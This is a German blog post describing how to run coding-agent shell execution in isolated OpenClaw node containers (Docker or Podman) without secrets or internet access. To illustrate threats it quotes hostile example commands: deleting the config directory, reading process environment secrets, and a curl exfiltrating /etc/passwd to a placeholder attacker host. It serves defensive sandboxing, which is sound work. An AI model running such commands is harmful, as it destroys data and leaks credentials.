Alle Artikel
2026-03-218 min

OpenClaw Nodes: Agenten-Workloads in isolierten Containern ohne Gateway-Verbindung ausführen

NodesSecurityDockerSandboxOpenClaw

Der Tweet, der alles erklärt

Gestern tauchte auf X ein Kommentar auf, der in unserem Team sofort für Diskussion gesorgt hat:

> *"You can have your agents execute working on a openclaw node where is no openclaw.json connected to the gateway. I have set this up with podman containers within same network, its quite fun and should solve your problems. An agent within a node container even being root can't do…"*

Der Tweet bricht leider ab — aber das Konzept dahinter ist genau richtig und löst ein echtes Problem: Was passiert, wenn ein Agent Code ausführt, der potentiell destruktiv ist?

Dieser Post erklärt das Nodes-Konzept, warum es sicherer ist als der Standardansatz, und wie wir es für Peters Code-Execution-Tasks eingerichtet haben.

---

Das Problem: Code-Execution ist immer ein Risiko

Coding-Agenten wie Peter haben Shell-Zugriff. Das ist nötig — wie soll ein Agent Code testen, wenn er keine Befehle ausführen kann?

Das Standardsetup: Der Agent läuft mit dem OpenClaw-Gateway verbunden. Er hat Zugriff auf den Workspace, auf `~/.openclaw/`, auf installierte Skills, auf Environment-Variablen mit API-Keys.

Ein schlecht formulierter Prompt, ein injizierter Befehl in einer Test-Datei, oder einfach ein Bug im Agenten-Code — und plötzlich läuft `rm -rf ~/.openclaw/` oder der Agent liest die `.env` mit allen API-Keys aus.

Das ist keine Theorie. Es sind reale Angriffsvektoren.

---

Die Lösung: OpenClaw Nodes als Execution-Sandbox

OpenClaw-Nodes sind eigenständige Ausführungsumgebungen, die mit dem Gateway verbunden sind — aber keine eigene Gateway-Konfiguration haben. Sie sind `openclaw.json`-lose Shells.

Das bedeutet konkret:

  • Der Node kennt keine API-Keys (keine `.env` des Hauptsystems)
  • Der Node hat keinen Zugriff auf MEMORY.md oder SOUL.md des Agenten
  • Der Node kann keine neuen Kanäle öffnen oder Nachrichten senden
  • Der Node hat keinen Zugriff auf andere Workspace-Dateien außerhalb seines Mounts
  • Ein Agent, der im Node-Container als Root läuft, kann:

  • Dateien im gemounteten Projekt-Verzeichnis lesen und schreiben ✅
  • Shell-Befehle ausführen ✅
  • Tests laufen lassen ✅
  • Aber er kann NICHT:

  • Auf das Haupt-Workspace des Agenten zugreifen ❌
  • Die Gateway-Konfiguration lesen ❌
  • API-Keys oder Secrets extrahieren ❌
  • Andere Agenten beeinflussen ❌
  • Das ist Container-Isolation mit einem zusätzlichen Konzept: dem Gateway-Entkopplung.

    ---

    Wie Nodes technisch funktionieren

    Ein OpenClaw-Node registriert sich beim Gateway, ohne selbst ein Gateway zu sein. Der Workflow sieht so aus:

    ```

    Gateway (Sam's Container)

    ├── empfängt Aufgabe: "Führe Tests für PR #201 aus"

    └── delegiert an Node: execute_in_node(container="peter-sandbox", command="bun test")

    └── peter-sandbox Container

    - kein ~/.openclaw/openclaw.json

    - kein .env mit Secrets

    - nur /project (read-write Mount)

    - führt Befehl aus, gibt Output zurück

    ```

    Der Schlüssel: Der Node-Container hat kein `openclaw.json`. Er ist keine eigenständige Agent-Instanz — er ist ein ausführender Arm, der Befehle entgegennimmt und Ergebnisse zurückgibt.

    ---

    Setup: Node-Container mit Podman (oder Docker)

    Das Setup ist einfacher als es klingt. Wir zeigen es mit Docker, aber Podman funktioniert identisch (und hat sogar bessere Rootless-Unterstützung):

    Schritt 1: Node-Container-Image vorbereiten

    ```dockerfile

    # Dockerfile.node-sandbox

    FROM node:22-slim

    # Basis-Tools installieren

    RUN apt-get update && apt-get install -y git curl && rm -rf /var/lib/apt/lists/*

    # Bun installieren

    RUN curl -fsSL https://bun.sh/install | bash

    ENV PATH="/root/.bun/bin:$PATH"

    # OpenClaw Node-Binary

    RUN npm install -g openclaw@latest

    # WICHTIG: Kein COPY von openclaw.json oder .env

    # Der Container bekommt nur das Projekt gemountet

    WORKDIR /project

    # Node-Registrierung beim Start

    CMD ["openclaw", "node", "start", "--gateway-url", "$GATEWAY_URL", "--gateway-token", "$GATEWAY_TOKEN"]

    ```

    Schritt 2: docker-compose.yml erweitern

    ```yaml

    services:

    # Hauptagent Peter

    peter:

    image: openclaw/agent:latest

    volumes:

    - ./workspaces/peter:/workspace:rw

    # KEIN Projekt-Mount hier — Peter delegiert an den Node

    environment:

    - OPENCLAW_AGENT_NAME=peter

    env_file:

    - ./workspaces/peter/.env

    # Peter's Execution-Sandbox

    peter-sandbox:

    build:

    context: .

    dockerfile: Dockerfile.node-sandbox

    volumes:

    # NUR das Projekt-Verzeichnis — kein Workspace, kein .env

    - /home/sam/projects/humanizing-agents-monorepo:/project:rw

    environment:

    - GATEWAY_URL=http://peter:3000

    - GATEWAY_TOKEN=${PETER_SANDBOX_TOKEN}

    # KEIN ANTHROPIC_API_KEY, KEIN DISCORD_TOKEN, etc.

    networks:

    - agents-internal

    # Kein Port nach außen — nur intern erreichbar

    networks:

    agents-internal:

    internal: true

    ```

    Das Entscheidende: `peter-sandbox` hat kein `.env` mit Secrets, keinen Zugriff auf `./workspaces/peter/`. Es sieht nur `/project`.

    Schritt 3: Node-Token generieren

    Der Node braucht ein Token, um sich beim Gateway zu authentifizieren. Das ist ein separates Token — nicht Peters Haupt-API-Key:

    ```bash

    # Einmalig: Node-Token generieren

    openclaw node generate-token --name "peter-sandbox"

    # → Gibt einen Token zurück: node_tok_xxxxx

    # In .env speichern (nur das Gateway braucht ihn, nicht der Node selbst):

    echo 'PETER_SANDBOX_TOKEN=node_tok_xxxxx' >> .env

    ```

    ---

    Peters Workflow mit Node-Delegation

    Sobald der Node läuft, kann Peter Execution-Tasks delegieren, anstatt sie direkt auszuführen:

    ```

    # In Peters SOUL.md:

    Code-Execution-Regel

    Wenn du Code ausführen oder Tests laufen lassen musst:

    IMMER über den peter-sandbox Node delegieren, NICHT direkt ausführen.

    Syntax:

    nodes(action="run", node="peter-sandbox", command="bun test src/utils/")

    NIEMALS:

    exec(command="bun test src/utils/") ← direkter Shell-Zugriff auf Hauptsystem

    ```

    In der Praxis sieht ein PR-Review dann so aus:

    ```

    1. Peter liest PR-Diff (lesend, im eigenen Container — sicher)

    2. Peter identifiziert geänderte Dateien

    3. Peter delegiert an Node:

    nodes(action="run", node="peter-sandbox", command="bun test src/auth/")

    4. Node führt Tests aus im /project-Mount

    5. Node gibt Output zurück: "23 passing, 0 failing"

    6. Peter postet Review-Kommentar auf GitHub

    ```

    Peter sieht den Test-Output. Der Node hat keine API-Keys gesehen. Das Haupt-System ist nicht involviert.

    ---

    Was passiert, wenn der Node-Container kompromittiert wird?

    Das ist die eigentliche Frage. Angenommen, ein bösartiger Code in einer Test-Datei führt `cat /proc/1/environ` aus — was sieht er?

    Im Standardsetup (Agent direkt):

    ```

    ANTHROPIC_API_KEY=sk-ant-...

    DISCORD_TOKEN=MTIx...

    CLICKUP_API_TOKEN=pk-...

    # ... alle Secrets

    ```

    Im Node-Sandbox-Setup:

    ```

    GATEWAY_URL=http://peter:3000

    GATEWAY_TOKEN=node_tok_xxxxx

    # Das ist alles

    ```

    Der Node-Token ist wertlos ohne Zugriff auf das Netzwerk außerhalb des `agents-internal`-Netzwerks. Und selbst wenn der Token kompromittiert wird: Er kann nur Befehle im Node ausführen — kein Zugriff auf den Haupt-Agent, kein Zugriff auf andere Agenten.

    ---

    Netzwerk-Isolation: Das zweite Sicherheitsschicht

    Docker-Netzwerke bieten eine zweite Isolationsebene. In unserer `docker-compose.yml` verwenden wir zwei Netzwerke:

    ```yaml

    networks:

    agents-internal:

    internal: true # kein Zugang zum Internet

    agents-external:

    # Normales Netzwerk für Agenten, die externe APIs brauchen

    ```

    | Container | agents-internal | agents-external |

    |-----------|----------------|----------------|

    | peter | ✅ (kann mit Node kommunizieren) | ✅ (braucht GitHub-API) |

    | peter-sandbox | ✅ (empfängt Befehle) | ❌ (kein Internet-Zugang) |

    Der Sandbox-Node kann keine externen APIs erreichen — auch wenn er kompromittiert wird.

    Das löst ein subtiles Problem: Ein bösartiger Code könnte versuchen, Daten an einen externen Server zu exfiltrieren (`curl https://evil.example.com/$(cat /etc/passwd)`). Im `agents-internal`-Netzwerk schlägt das fehl — kein DNS, kein Routing nach außen.

    ---

    Podman als Alternative: Rootless by Default

    Der Tweet erwähnt Podman. Das ist eine valide Alternative, insbesondere auf Linux-Servern, wo Rootless-Container wichtig sind.

    ```bash

    # Podman-Alternative zu unserem Docker-Setup:

    # Pod erstellen (äquivalent zu einem Docker-Netzwerk)

    podman pod create --name agents-pod

    # Haupt-Agent starten

    podman run -d --pod agents-pod --name peter -v ./workspaces/peter:/workspace:rw openclaw/agent:latest

    # Sandbox-Node starten (rootless — kein sudo nötig)

    podman run -d --pod agents-pod --name peter-sandbox -v /home/sam/projects/humanizing-agents-monorepo:/project:rw --env GATEWAY_URL=http://peter:3000 --env GATEWAY_TOKEN=node_tok_xxxxx openclaw-node:latest

    ```

    Podman-Vorteil: Container laufen standardmäßig ohne Root-Rechte auf dem Host — selbst wenn der Container-Prozess als "root" ausgeführt wird, hat er keine Host-Root-Rechte. Das ist eine zusätzliche Isolation-Ebene, die Docker (ohne User-Namespaces) nicht standardmäßig bietet.

    ---

    Wann lohnt sich das Node-Pattern?

    Nicht jeder Anwendungsfall braucht diese Komplexität. Unsere Entscheidungsregel:

    Node-Sandbox sinnvoll wenn:

  • Der Agent externen Code ausführt (PR-Code von anderen Entwicklern)
  • Shell-Befehle mit dynamischen Inputs ausgeführt werden
  • Der Agent als Root im Container läuft (z.B. wegen Package-Installation)
  • Compliance-Anforderungen eine klare Isolation verlangen
  • Direkter Zugriff reicht wenn:

  • Der Agent nur seine eigenen, fest definierten Skripte ausführt
  • Alle ausgeführten Befehle aus vertrauenswürdigen Quellen stammen
  • Der Container ohnehin nicht-privilegiert läuft
  • Für Peter (reviewt fremden Code) → Node-Sandbox. Für Sam (führt eigene Backup-Skripte aus) → kein Node nötig.

    ---

    Das Ergebnis in unserem Setup

    Seit wir Peters Code-Execution auf den Node-Container umgestellt haben:

  • Keine API-Key-Exposition bei Code-Execution ✅
  • Kein Zugriff auf Workspace-Dateien anderer Agenten ✅
  • Netzwerk-Isolation verhindert Exfiltration ✅
  • Performance: kein messbarer Overhead durch Delegation (~50ms zusätzlich)
  • Komplexität: Einer extra Container in docker-compose.yml — das war der gesamte Mehraufwand
  • Der Tweet von gestern hat recht: "its quite fun and should solve your problems." Es löst das Problem. Und sobald man verstanden hat, wie Nodes und Gateways zusammenarbeiten, ist das Setup weniger komplex als es aussieht.

    ---

    Zusammenfassung: Das Node-Sandbox-Prinzip

    Das Konzept in einem Satz: Execution-Isolation durch Gateway-Entkopplung.

    Der Agent denkt und entscheidet im Haupt-Container (mit vollen Credentials). Er führt riskante Operationen im Node-Container aus (ohne Credentials). Die Ergebnisse fließen sicher zurück.

    Das ist kein Workaround — es ist das Design, für das OpenClaw-Nodes gebaut wurden.

    Die vollständige Konfiguration — Dockerfile, docker-compose.yml mit Netzwerk-Isolation, SOUL.md-Regeln für Node-Delegation und der Podman-Alternativansatz — ist im OpenClaw Setup Playbook dokumentiert.

    Komplett auf Deutsch verfügbar. 🇩🇪

    Mehr erfahren?

    Unser Playbook enthält 18 detaillierte Kapitel — komplett auf Deutsch.

    Zum Playbook